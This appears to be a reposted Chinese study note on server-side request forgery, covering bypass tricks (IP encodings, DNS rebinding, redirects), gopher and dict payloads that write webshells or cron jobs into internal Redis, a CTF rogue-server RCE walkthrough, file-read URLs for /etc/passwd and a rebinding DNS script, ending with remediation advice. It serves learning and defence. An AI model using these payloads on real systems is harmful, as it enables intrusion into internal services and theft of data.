• 学习笔记-SSRF


    SSRF


    免责声明

    本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


    描述

    很多 web 应用都提供了从其他的服务器上获取数据的功能.使用用户指定的 URL,web 应用可以获取图片,下载文件,读取文件内容等.这个功能如果被恶意使用,可以利用存在缺陷的 web 应用作为代理攻击远程和本地的服务器.这种形式的攻击称为服务端请求伪造攻击(Server-side Request Forgery).

    一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

    相关文章

    相关案例

    相关工具

    相关靶场

    payload

    相关资源

    writeup


    ssrf 有哪些危害

    • 内部端口扫描

    • 攻击内网服务 (例如: redis,memcache,或存在 log4j rce 的服务)

      • 攻击 Kubelet API : 在云环境中,可通过 Kubelet API 查询集群 pod 和 node 的信息,也可通过其执行命令。为了安全考虑,此服务一般不对外开放。但是,攻击者可以通过 SSRF 去访问 Kubelet API,获取信息和执行命令。
      • 攻击 Docker Remote API:Docker Remote API 是一个取代远程命令行界面(rcli)的 REST API,默认开放端口为 2375。此 API 如果存在未授权访问,则攻击者可以利用其执行 docker 命令,获取敏感信息,并获取服务器 root 权限。因此为了安全考虑,一般不会在外网开放,此时我们就可以通过 SSRF 去尝试攻击那些不对外开放的 Docker Remote API。其过程与攻击 Kubelet API 类似。
      • 越权攻击云平台内其他组件或服务:由于云上各组件相互信任,当云平台内某个组件或服务存在 SSRF 漏洞时,就可通过此漏洞越权攻击其他组件或者服务。例如用户正常请求服务 A 时,云 API 层会对请求进行校验,其中包括身份、权限等。如果服务 A 存在 SSRF 漏洞,则可构造请求使服务 A 访问服务 B,因为服务 A 与服务 B 互相信任,所以服务 B 未校验服务 A 的请求,从而越权操作服务 B 的资源。
    • 绕过 cdn 获取真实ip

    • 利用 ssrf 进行访问,产生 dos 的效果

    • Cloud Metadata

      • 在云环境中,元数据即表示实例的相关数据,可以用来配置或管理正在运行中的实例。攻击通过 SSRF 去访问元数据中存储的临时密钥或者用于自启动实例的启动脚本,这些脚本可能会包含 AK、密码、源码等等,然后根据从元数据服务获取的信息,攻击者可尝试获取到受害者账户下 COS、CVM、集群等服务的权限。
      • metadata 泄露

    java 中的 ssrf


    php 中的 ssrf


    python 中的 ssrf

    在 Python 中,常用的函数有 urllib(urllib2) 和 requests 库。

    CVE-2019-9740 & CVE-2019-9947

    以 urllib(urllib2) 为例, urllib 并不支持 gopher,dict 协议,但 urllib 曾爆出 CVE-2019-9740、CVE-2019-9947 两个漏洞,这两个漏洞都是 urllib(urllib2) 的 CRLF 漏洞,触发点不同,其影响范围都在 urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3 之间.

    漏洞示例

    1. import sys
    2. import urllib2
    3. host = "127.0.0.1:7777?a=1 HTTP/1.1\r\nCRLF-injection:
    4. test\r\nTEST: 123"
    5. url = "http://"+ host + ":8080/test/?test=a"
    6. try:
    7. info = urllib2.urlopen(url).info()
    8. print(info)
    9. except Exception as e:
    10. print(e)

    通过 CLRF漏洞,实现换行对redis的攻击

    CVE-2019-9948

    该漏洞只影响 urllib,范围在 Python 2.x 到 2.7.16,这个版本间的 urllib 支持 local_file/local-file 协议,可以读取任意文件

    1. /ssrf?url=local_file:/etc/passwd
    2. /ssrf?url=local-file:/etc/passwd

    解析差异

    已目标为例 http://baidu.com@qq.com

    • urllib3 取到的 host 是 baidu.com
    • urllib 取到的 host 是 qq.com

    绕过技巧

    使用 @ 符号

    当我们需要通过 URL 发送用户名和密码时,可以使用 http://username:password@www.xxx.com,此时 @前的字符会被当作用户名密码处理,@后面的字符才是我们请求的地址,即 http://test.com@127.0.0.1/http://127.0.0.1/ 请求时是相同的,而这种方法有时可以绕过系统对地址的检测。

    不同的 IP 格式

    不同进制

    开发人员在提取或者过滤域名或者 IP 时,未考虑到 IP 的进制转换的影响,则存在被利用进制转换绕过的可能。浏览器不仅可以识别正常的 IP 地址,也可以识别八进制、十进制、十六进制等其他进制的 IP 地址,但是有时候开发人员会忽视这一点,因此有时,我们可以通过这一点去绕过防护。

    http://www.subnetmask.info/

    1. # 8进制 (127.0.0.1)
    2. 0177.0.0.1
    3. # 10进制 (127.0.0.1)
    4. 2130706433
    5. # 16进制 (127.0.0.1)
    6. 0x7F.0x00.0x00.0x01
    7. # 注意:16进制使用时一定要加0x,不然浏览器无法识别,八进制使用的时候要加0

    利用别名绕过

    1. http://localhost/
    2. http://127.127.127.127
    3. http://127.0.1.3
    4. http://127.0.0.0

    不规范格式

    1. http://0.0.0.0
    2. http://127.000.000.1
    3. http://127.1
    4. http://127001
    5. http://①②⑦。00。①

    IPv6

    1. http://[::1]
    2. http://[::]
    3. http://[::]:80/
    4. http://0000::1:80/

    Enclosed alphanumerics

    封闭式字母数字(Enclosed Alphanumerics)字符是一个Unicode块,其中包含圆形,支架或其他非封闭外壳内的字母数字印刷符号,或以句号结尾。封闭的字母数字块包含一个表情符号,封闭的M用作掩码工作的符号。它默认为文本显示,并且定义了两个标准化变体,用于指定表情符号样式或文本表示。这些字符也是可以被浏览器识别的,而开发人员有时会忽略这一点。

    1. ①②⑦。00。① --> 127.0.0.1
    2. ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ --> example.com
    ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

    不同的协议头

    1. gopher://
    2. dict://
    3. php://
    4. jar://
    5. tftp://
    6. zip://
    jar

    jar:// 协议能从远程获取 jar 文件及解压得到其中的内容,其格式如下:

    jar:<url>!/{entry}

    实例如下,! 符号后面就是其需要从中解压出的文件:

    jar:http://a.com/b.jar!/file/within/the/zip

    jar:// 协议分类:

    1. Jar file(Jar包本身):jar:http://www.foo.com/bar/baz.jar!/
    2. Jar entry(Jar包中某个资源文件):jar:http://www.foo.com/bar/baz.jar!/COM/foo/a.class
    3. Jar directory(Jar包中某个目录):jar:http://www.foo.com/bar/baz.jar!/COM/foo/

    也使用 jar 协议进行 Blind SSRF

    利用

    1. jar:scheme://domain/path!/
    2. jar:http://127.0.0.1!/
    3. jar:https://127.0.0.1!/
    4. jar:ftp://127.0.0.1!/


    dict

    描述

    dict 协议有一个功能:dict://serverip:port/name:data 向服务器的端口请求 name data,并在末尾自动补上 rn(CRLF)。也就是如果我们发出 dict://serverip:port/config:set:dir:/var/spool/cron/ 的请求,redis 就执行了 config set dir /var/spool/cron/ . 用这种方式可以一步步执行 redis getshell 的 exp,执行完就能达到和 gopher 一样的效果。原理一样,但是 gopher 只需要一个 url 请求即可,dict 需要步步构造。

    对内网 redis 的利用

    1. dict://127.0.0.1:6379/info
    2. dict://127.0.0.1:6379/keys *

    Gopher

    gopher 协议支持发出 GET、POST 请求:可以先截获 get 请求包和 post 请求包,在构成符合 gopher 协议的请求。

    gopher 协议是 ssrf 利用中最强大的协议

    相关文章

    相关工具

    • tarunkant/Gopherus - 该工具生成 gopher payload ,以利用 SSRF 并在各种服务器中获得 RCE
    • xmsec/redis-ssrf - redis ssrf gopher generater && redis ssrf to rce by master-slave-sync

    格式

    1. gopher://<host>:<port>/<gopher-path>_后接TCP数据流
    2. curl gopher://127.0.0.1:8000/_GET%20test

    gopher 的默认端口是70

    如果发起 post 请求,回车换行需要使用 %0d%0a,如果多个参数,参数之间的 & 也需要进行 URL 编码

    发送 get 请求

    如果要发送如下 payload

    1. GET /test/get.php?name=test HTTP/1.1
    2. Host: 192.168.1.2

    那么需要变为如下格式

    curl gopher://192.168.1.2:80/_GET%20/test/get.php%3fname=test%20HTTP/1.1%0d%0AHost:%20192.168.1.2%0d%0A

    在 HTTP 包的最后要加 %0d%0a,代表消息结束

    发送 post 请求

    1. POST /test/post.php HTTP/1.1
    2. Host: 192.168.1.1
    3. Content-Type:application/x-www-form-urlencoded
    4. Content-Length:11
    5. name=test

    那么需要变为如下格式

    curl gopher://192.168.1.1:80/_POST%20/test/post.php%20HTTP/1.1%0d%0AHost:192.168.1.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=test%0d%0A

    ssrf 中的利用

    1. http://192.168.1.1/test/ssrf.php?url=gopher://192.168.1.2:6666/_abc
    2. # 由于PHP在接收到参数后会做一次URL的解码,所以要在 url 编码一次
    3. http://192.168.1.1/test/ssrf.php?url=gopher%3A%2F%2F192.168.1.2%3A80%2F_GET%2520%2Ftest%2Fget.php%253fname%3Dtest%2520HTTP%2F1.1%250d%250AHost%3A%2520192.168.1.2%250d%250A

    URL中的/不能进行两次编码,端口号不可以两次编码,协议名称不可两次转码

    配合 Redis 未授权访问漏洞进行攻击

    我们可以利用 Gopher 协议远程操纵目标主机上的 Redis,可以利用 Redis 自身的提供的 config 命令像目标主机写 WebShell、写 SSH 公钥、创建计划任务反弹 Shell 等,其思路都是一样的,就是先将 Redis 的本地数据库存放目录设置为 web 目录、~/.ssh 目录或 /var/spool/cron 目录等,然后将 dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行 save 或 bgsave 保存,则我们就指定的目录里写入指定的文件了。

    绝对路径写 WebShell

    redis命令

    1. flushall
    2. set 1 ''
    3. config set dir /var/www/html
    4. config set dbfilename shell.php
    5. save

    利用 Gopherus

    gopherus --exploit redis
    gopher%3A%2F%2F10.211.55.3%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%25248%250D%250A%250A%250Atest%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%25244%250D%250A%2Ftmp%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

    这里将生成的 payload 要进行 url 二次编码(因为我们发送 payload 用的是 GET 方法),然后利用服务器上的 SSRF 漏洞,将二次编码后的 payload 打过去就行了:

    Redis 主从复制

    以 [网鼎杯 2020 玄武组]SSRFMe 这一题为例, buuoj 上有环境,方便复现

    题目信息:

    • 通过 http://0.0.0.0/ 访问本机绕过对内网IP的检测
    • Redis 配置了密码,为 root
    • 利用主从复制进行 rce

    利用脚本 https://github.com/xmsec/redis-ssrf

    修改脚本

    1. elif mode==3:
    2. lhost="192.168.1.100" # 改成 vps 的地址
    3. lport="6666" # 改成 vps 的监听端口
    4. command="whoami" # 改成 cat /flag
    5. ......
    6. protocol="gopher://"
    7. ip="127.0.0.1" # 改成 0.0.0.0 绕过题目中的限制
    8. port="6379"
    9. ......
    10. passwd = '' # 密码改成 root

    生成 payload,记得 URL 编码一下

    rogue-server 使用这个项目的 https://github.com/Dliv3/redis-rogue-server.git

    python3 redis-rogue-server.py --server-only --lport 6666

    访问

    FTP

    相关文章

    利用

    ftp://127.0.0.1:21/file

    DNS 与 重定向欺骗

    wildcard DNS

    开发人员在构建 SSRF 防护时,只考虑到了域名,没有考虑到域名解析后的 IP,则存在被利用域名解析服务来绕过的可能。

    1. 10.0.0.1.xip.io
    2. www.10.0.0.1.xip.io
    3. mysite.10.0.0.1.xip.io
    4. foo.bar.10.0.0.1.xip.io

    http://xip.io

    1. 10.0.0.1.nip.io
    2. app.10.0.0.1.nip.io
    3. customer1.app.10.0.0.1.nip.io
    4. customer2.app.10.0.0.1.nip.io
    5. otherapp.10.0.0.1.nip.io

    http://nip.io

    302 跳转

    当防御方限制只允许 http(s) 访问或者对请求的 host 做了正确的校验后,可以通过 30x 方式跳转进行绕过。

    比如,我们可以搭建一个服务,在收到目标服务器的请求后添加一个 Location 响应头重定向至内网服务器

     header("location: http://127.0.0.1"); ?>
    url 短链

    开发人员在进行 SSRF 防护时,未考虑到短网址的影响,则存在被利用短网址绕过的可能。

    DNS-Rebinding

    DNS重绑定

    描述

    DNS 重绑定攻击的原理是当我们设置恶意域名 TTL 为非常小的值时,DNS 记录仅在短时间内有效,目标服务第一次解析域名后,第二次重新请求 DNS 服务器获取新的 ip,两次 DNS 解析是有时间差的,我们可以使用这个时间差进行绕过,利用服务器两次解析同一域名的短暂间隙,更换域名背后的 ip 进行 ssrf。

    利用方法如下:

    1. 在网站 SSRF 漏洞处访问精心构造的域名。网站第一次解析域名,获取到的 IP 地址为 A;
    2. 经过网站后端服务器的检查,判定此 IP 为合法 IP。
    3. 网站获取 URL 对应的资源(在一次网络请求中,先根据域名服务器获取 IP 地址,再向 IP 地址请求资源),第二次解析域名。此时已经过了 ttl 的时间,解析记录缓存 IP 被删除。第二次解析到的域名为被修改后的 IP 即为内网 IP B;
    4. 攻击者访问到了内网 IP。

    注意点

    1. java 中 DNS 请求成功的话默认缓存 30s(字段为 networkaddress.cache.ttl,默认情况下没有设置),失败的默认缓存 10s。(缓存时间在 /Library/Java/JavaVirtualMachines/jdk /Contents/Home/jre/lib/security/java.security 中配置)所以一般认为 java 不存在 DNS rebinding 问题。
    2. 在 php 中则默认没有缓存。
    3. Linux 默认不会进行 DNS 缓存,mac 和 windows 会缓存 (所以复现的时候不要在 mac、windows 上尝试)
    4. 有些公共 DNS 服务器,比如 114.114.114.114 还是会把记录进行缓存,但是 8.8.8.8 是严格按照 DNS 协议去管理缓存的,如果设置 TTL 为 0,则不会进行缓存。

    相关文章/案例

    相关工具

    利用方法

    Dns rebinding 常见方案除了自建 dns 服务器之外,还可以通过绑定两个 A 记录,一个绑定外网 ip,一个绑定内网 ip。这种情况访问顺序是随机的,无法保证成功率。

    自建 dns 服务器需要配置将域名的 dns 服务指向自己的 vps,然后在 vps 上运行域名解析脚本,内容如下

    1. #!/usr/bin/env python
    2. # -*- encoding: utf-8 -*-
    3. from twisted.internet import reactor, defer
    4. from twisted.names import client, dns, error, server
    5. record={}
    6. class DynamicResolver(object):
    7. def _doDynamicResponse(self, query):
    8. name = query.name.name
    9. if name not in record or record[name]<2:
    10. # 随意一个 IP,绕过检查即可
    11. ip="1.2.3.4"
    12. else:
    13. ip="127.0.0.1"
    14. record[name]=0
    15. if name not in record:
    16. record[name]=0
    17. record[name]+=1
    18. print name+" ===> "+ip
    19. answer = dns.RRHeader(
    20. name=name,
    21. type=dns.A,
    22. cls=dns.IN,
    23. ttl=0,
    24. payload=dns.Record_A(address=b'%s'%ip,ttl=0)
    25. )
    26. answers = [answer]
    27. authority = []
    28. additional = []
    29. return answers, authority, additional
    30. def query(self, query, timeout=None):
    31. return defer.succeed(self._doDynamicResponse(query))
    32. def main():
    33. factory = server.DNSServerFactory(
    34. clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
    35. )
    36. protocol = dns.DNSDatagramProtocol(controller=factory)
    37. reactor.listenUDP(53, protocol)
    38. reactor.run()
    39. if __name__ == '__main__':
    40. raise SystemExit(main())
    1. python2 -m pip install twisted
    2. systemctl stop systemd-resolved
    3. python2 test.py

    当第一次访问时,解析为外网 ip 通过 ssrf 检测,

    第二次访问时,也即业务访问时,ip 会指向 127.0.0.1,从而达到了绕过目的。

    修复方案

    在 Check 时获取 IP 地址,后面的请求绑定此 IP

    TLS Poison

    SSRF 修复方案

    • 过滤 url 中的特殊字符
    • 禁用不需要的协议,只允许 HTTP 和 HTTPS 请求,可以防止类似于 file://, gopher://, ftp:// 等引起的问题。
    • 白名单的方式限制访问的目标地址,禁止对内网发起请求。
    • 过滤或屏蔽请求返回的详细信息,验证远程服务器对请求的响应是比较容易的方法。如果 web 应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
    • 验证请求的文件格式,禁止跟随 301、302 跳转。
    • 限制请求的端口为 http 常用的端口,比如 80、443、8080、8000 等。
    • 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

    点击关注,共同学习!安全狗的自我修养

    github haidragon

    https://github.com/haidragon

  • 相关阅读:
    docker pull速度慢解决办法
    一种自动化九点标定工具原理(包涵部分源码)
    干货 | 背熟这些 Docker 命令,面试再也不怕啦~
    智慧渔港:海域感知与岸线监控实施方案(智慧渔港渔船综合管控平台)
    38_final关键字
    深度学习_9_图片分类数据集
    技术分享 | 如何确保API 的稳定性与正确性?你只需要这一招
    yolov5分割+检测c++ qt 中部署,以opencv方式(详细代码(全)+复制可用)
    自然语言处理-词向量模型-Word2Vec
    [经验]如何解决python环境中的版本冲突问题
  • 原文地址:https://blog.csdn.net/sinat_35360663/article/details/127639550